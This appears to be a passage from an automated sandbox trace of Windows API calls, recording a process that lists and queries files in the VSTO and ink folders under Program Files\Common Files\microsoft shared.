	[0242.094] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001174a0 | out: lpFindFileData=0xc0001174a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1
	[0242.094] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001174a0 | out: lpFindFileData=0xc0001174a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.094] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0242.095] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0) returned 0
	[0242.095] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001175e0 | out: lpFileInformation=0xc0001175e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6d7a0a, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x30a0)) returned 1
	[0242.116] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0xc000117594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117594, lpOverlapped=0x0) returned 0
	[0242.116] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001175e0 | out: lpFileInformation=0xc0001175e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080)) returned 1
	[0242.120] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0xc000117594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117594, lpOverlapped=0x0) returned 0
	[0242.120] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001176b8 | out: lpFileInformation=0xc0001176b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888)) returned 1
	[0242.137] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0) returned 0
	[0242.138] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001176b8 | out: lpFileInformation=0xc0001176b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x59a70)) returned 1
	[0242.138] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0) returned 0
	[0242.138] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001176b8 | out: lpFileInformation=0xc0001176b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8)) returned 1
	[0242.139] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0) returned 0
	[0242.139] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080)) returned 1
	[0242.140] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.140] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x4298)) returned 1
	[0242.142] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.142] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898)) returned 1
	[0242.143] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.143] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink" (normalized: "c:\\program files\\common files\\microsoft shared\\ink"), fInfoLevelId=0x0, lpFileInformation=0xc000117868 | out: lpFileInformation=0xc000117868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.143] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink" (normalized: "c:\\program files\\common files\\microsoft shared\\ink"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.143] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0xc000117620 | out: lpFindFileData=0xc000117620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0242.146] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.149] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc137d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1
	[0242.149] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1
	[0242.149] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0242.149] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1
	[0242.150] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0242.150] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0242.150] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0242.150] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0242.150] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0242.150] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0242.150] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0242.150] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0242.150] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0242.150] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0242.150] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1
	[0242.150] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd121ea9a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd121ea9a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1
	[0242.151] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0242.151] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0242.151] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1
	[0242.151] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1
	[0242.151] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0242.151] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0242.151] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1
	[0242.151] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1
	[0242.151] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1
	[0242.151] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe38781cd, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe38781cd, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10cb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1
	[0242.151] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb28b2edf, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb28b2edf, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2662f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1
